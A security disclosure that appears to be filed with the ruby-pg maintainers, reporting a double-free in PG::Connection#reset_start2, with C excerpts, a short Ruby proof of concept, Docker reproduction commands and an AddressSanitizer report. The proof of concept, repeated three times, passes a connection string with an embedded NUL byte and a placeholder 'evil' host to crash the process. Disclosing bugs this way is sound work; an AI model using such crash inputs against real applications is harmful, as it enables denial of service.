DFVULN-790: Double-Free in `PG::Connection#reset_start2`

[larskanis]

Summary

PG::Connection#reset_start2 frees the current PGconn before converting the new connection string. If that conversion raises, the connection object keeps a dangling PGconn pointer. A later finish frees the same libpq allocation again, producing an AddressSanitizer double-free.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

connect_start stores the PGconn returned by libpq in this->pgconn.

rb_conn  = pgconn_s_allocate( klass );
this = pg_get_connection( rb_conn );
conninfo = rb_funcall2( klass, rb_intern("parse_connect_args"), argc, argv );
this->pgconn = gvl_PQconnectStart( StringValueCStr(conninfo) );

ext/pg_connection.c:328

reset_start2 frees that pointer, then evaluates StringValueCStr(conninfo). StringValueCStr can raise, for example when the string contains a NUL byte. In that exception path, this->pgconn still contains the already-freed pointer.

static VALUE
pgconn_reset_start2( VALUE self, VALUE conninfo )
{
	t_pg_connection *this = pg_get_connection( self );

	/* Close old connection */
	pgconn_close_socket_io( self );
	PQfinish( this->pgconn );

	/* Start new connection */
	this->pgconn = gvl_PQconnectStart( StringValueCStr(conninfo) );

ext/pg_connection.c:567

finish later calls PQfinish on the dangling pointer and only clears this->pgconn after the second free.

static VALUE
pgconn_finish( VALUE self )
{
	t_pg_connection *this = pg_get_connection_safe( self );

	pgconn_close_socket_io( self );
	PQfinish( this->pgconn );
	this->pgconn = NULL;
	return Qnil;
}

ext/pg_connection.c:532

The PoC is inline below:

require 'pg'

conn = PG::Connection.connect_start(
  'host=127.0.0.1 port=1 dbname=postgres connect_timeout=1'
)

warn "initial: status=#{conn.status} finished?=#{conn.finished?}"

begin
  conn.send(:reset_start2, "dbname=ok\0host=evil")
  warn 'unexpected: reset_start2 returned'
rescue => e
  warn "reset_start2 raised #{e.class}: #{e.message.inspect}"
end

warn "after exception: finished?=#{conn.finished?}"
warn 'calling finish on dangling PGconn'
conn.finish
warn 'unexpected: finish returned'

Reproduce

On a machine with Docker, run:

mkdir -p dfvuln-790 && cd dfvuln-790
cat > poc.rb <<'RUBY'
require 'pg'

conn = PG::Connection.connect_start(
  'host=127.0.0.1 port=1 dbname=postgres connect_timeout=1'
)

warn "initial: status=#{conn.status} finished?=#{conn.finished?}"

begin
  conn.send(:reset_start2, "dbname=ok\0host=evil")
  warn 'unexpected: reset_start2 returned'
rescue => e
  warn "reset_start2 raised #{e.class}: #{e.message.inspect}"
end

warn "after exception: finished?=#{conn.finished?}"
warn 'calling finish on dangling PGconn'
conn.finish
warn 'unexpected: finish returned'
RUBY

docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
CC=gcc CFLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer" LDFLAGS="-fsanitize=address" bundle exec rake clean compile
ASAN_LIB="$(gcc -print-file-name=libasan.so)"
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
set -e
cat /work/asan.log
exit "$status"
'

This produces a symbolized AddressSanitizer report. The relevant stack is included inline below:

reset_start2 raised ArgumentError: "string contains null byte"
after exception: finished?=false
calling finish on dangling PGconn
=================================================================
==615==ERROR: AddressSanitizer: attempting double-free on 0xffffbc4465d0 in thread T0:
    #0 0xffffbee2a5a0 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0xffffbb33ce40  (/usr/lib/aarch64-linux-gnu/libpq.so.5+0xce40)
    #2 0xffffbb3b4304 in pgconn_finish ../../../../ext/pg_connection.c:538
    #3 0xffffbea6fca8 in vm_call_cfunc_with_frame_ /usr/src/ruby/vm_insnhelper.c:3495

0xffffbc4465d0 is located 0 bytes inside of 10-byte region [0xffffbc4465d0,0xffffbc4465da)
freed by thread T0 here:
    #0 0xffffbee2a5a0 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0xffffbb33ce40  (/usr/lib/aarch64-linux-gnu/libpq.so.5+0xce40)
    #2 0xffffbb3b4480 in pgconn_reset_start2 ../../../../ext/pg_connection.c:574

previously allocated by thread T0 here:
    #0 0xffffbee2b734 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0xffffbb33d264  (/usr/lib/aarch64-linux-gnu/libpq.so.5+0xd264)
    #2 0xffffbb343328 in PQconnectStart (/usr/lib/aarch64-linux-gnu/libpq.so.5+0x13328)
    #3 0xffffbb3aa434 in gvl_PQconnectStart_skeleton ../../../../ext/gvl_wrappers.c:25
    #4 0xffffbb3b1ee0 in pgconn_s_connect_start ../../../../ext/pg_connection.c:331

SUMMARY: AddressSanitizer: double-free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52 in __interceptor_free

Inline reproduction artifact(s):

poc.rb

require 'pg'

conn = PG::Connection.connect_start(
  'host=127.0.0.1 port=1 dbname=postgres connect_timeout=1'
)

warn "initial: status=#{conn.status} finished?=#{conn.finished?}"

begin
  conn.send(:reset_start2, "dbname=ok\0host=evil")
  warn 'unexpected: reset_start2 returned'
rescue => e
  warn "reset_start2 raised #{e.class}: #{e.message.inspect}"
end

warn "after exception: finished?=#{conn.finished?}"
warn 'calling finish on dangling PGconn'
conn.finish
warn 'unexpected: finish returned'

Security Impact

This is a native double-free in the Ruby process. It can crash applications that expose connection reset behavior to attacker-controlled connection strings or other untrusted inputs.

Credit

Zheng Yu from depthfirst (depthfirst.com)